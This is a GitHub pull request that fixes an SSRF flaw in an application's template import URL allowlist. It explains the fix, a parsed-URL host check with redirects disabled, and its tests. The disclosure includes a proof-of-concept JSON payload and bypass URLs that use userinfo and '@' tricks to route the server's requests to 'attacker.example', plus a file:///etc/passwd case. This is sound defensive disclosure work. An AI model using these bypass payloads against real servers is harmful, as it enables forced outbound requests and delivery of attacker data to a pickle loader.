fix(application): prevent SSRF in template import URL allowlist (CWE-918)#6455
Open
sebastiondev wants to merge 1 commit into
Open
fix(application): prevent SSRF in template import URL allowlist (CWE-918)#6455sebastiondev wants to merge 1 commit into
sebastiondev wants to merge 1 commit into
Conversation
…hes (CWE-918) Replace startswith() checks on downloadUrl / downloadCallbackUrl with a parsed-URL allowlist that requires https, an exact hostname match, and rejects embedded userinfo/ports which could otherwise smuggle a different origin (e.g. https://apps-assets.fit2cloud.com.attacker.tld/ or https://attacker.tld@apps-assets.fit2cloud.com/). Also disable HTTP redirect following on the outbound requests.get() calls so a trusted host cannot be used as an open redirector to internal targets.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
What this PR does / why we need it?
Fixes an SSRF vulnerability (CWE-918) in the application template import flow. The existing check for trusted upstream URLs uses
str.startswith("https://apps-assets.fit2cloud.com/")andstr.startswith("https://apps.fit2cloud.com/"), which are bypassable:startswithon a prefix that ends inside the URL only matches a leading substring and does not enforce a host boundary. In particular, a URL of the formhttps://apps-assets.fit2cloud.com/../@attacker.example/xmatches the prefix whileurllibresolves the request target asattacker.examplebecause of the embedded@(userinfo) segment.This is particularly serious in
ApplicationOperateSerializer.install_app_template(apps/application/serializers/application.py:1513) because the fetched bytes are passed directly torestricted_loads(res.content)— apickleload. Even with a "restricted" unpickler, feeding attacker-controlled pickle input to a whitelisted-class unpickler is a well-known escalation surface, and at minimum this SSRF lets an authenticated user pivot the server into making arbitrary outbound HTTPS requests (internal network scanning, cloud metadata endpoints on providers whose metadata service accepts HTTPS, exfiltration to attacker-controlled hosts, etc.).Summary of your change
Introduced
_validate_trusted_url(url, allowed_hosts)which:urllib.parse.urlparseinstead of doing prefix string matching.scheme == "https".hostnameto be an exact case-insensitive match against an allowlist set ({"apps-assets.fit2cloud.com"}for downloads,{"apps.fit2cloud.com"}for the callback).user:pass@host) — this blocks the classichttps://apps-assets.fit2cloud.com@attacker.tld/bypass, becauseurlparsecorrectly reportshostname == "attacker.tld"but we additionally refuse any URL that carries credentials so the intent is unambiguous.allow_redirects=Falseto the tworequests.getcalls so the allowlisted host cannot bounce the server to an internal target via a 302.All four affected call sites are patched:
ApplicationSerializer.install_app_template(download URL + callback URL)ApplicationOperateSerializer.install_app_template(download URL + callback URL — the one that feedsrestricted_loads)Diff is 37 additions / 8 deletions, one file.
Proof of concept
Before the patch, from an authenticated session with app-import permission, sending an install payload like:
{ "work_flow_template": { "downloadUrl": "https://apps-assets.fit2cloud.com/../@attacker.example/malicious.mk", "downloadCallbackUrl": "https://apps.fit2cloud.com@attacker.example/cb" } }...passes the
startswithgate. The server issues an HTTPS request whose effective host resolves toattacker.example, and in theApplicationOperateSerializerpath the response body is fed intorestricted_loads. Verify the bypass primitive locally with the stdlib:After the patch,
_validate_trusted_urlrejects both because (a) userinfo is present or (b) the parsed hostname is not in the allowlist.Function references in this PoC exist in the tree:
Testing
Exercised the new validator against the following cases (all behave as expected):
https://apps-assets.fit2cloud.com/x.mkhttps://APPS-ASSETS.FIT2CLOUD.COM/x.mkhttps://apps-assets.fit2cloud.com.attacker.tld/xhttps://apps-assets.fit2cloud.com@attacker.tld/xhttp://apps-assets.fit2cloud.com/xhttps://apps-assets.fit2cloud.com:8443/xhttps://attacker.tld/apps-assets.fit2cloud.com/file:///etc/passwd""/None/ non-stringThe callback allowlist was checked the same way against
apps.fit2cloud.com. The legitimate happy path (https://apps-assets.fit2cloud.com/...served by the vendor CDN) continues to work — the allowlist entry is exactly the host that appears elsewhere in the codebase (APPSTORE_URLdefault at line 1045).Security analysis
ApplicationOperateSerializerpath — attacker-controlled bytes reach apickle-backed loader.Adversarial review
Before submitting we tried to disprove this. Candidate mitigations we checked and ruled out: (1) no upstream router-level allowlist or egress proxy filters requests inside the container image — the
requests.getcalls go out unfiltered; (2)restricted_loadsis not a general defense against attacker-controlled pickle streams once it's reached, so treating the SSRF as "harmless because it's just a fetch" understates it; (3) thestartswithcheck does not incidentally block userinfo/embedded-@bypasses because the prefix ends inside the URL, not at a host boundary; (4) authentication is required but the endpoint is exposed to normal application-managing users, not only superusers, so the trust boundary is real.Please indicate you've done the following:
Discovered by the Sebastion AI GitHub App.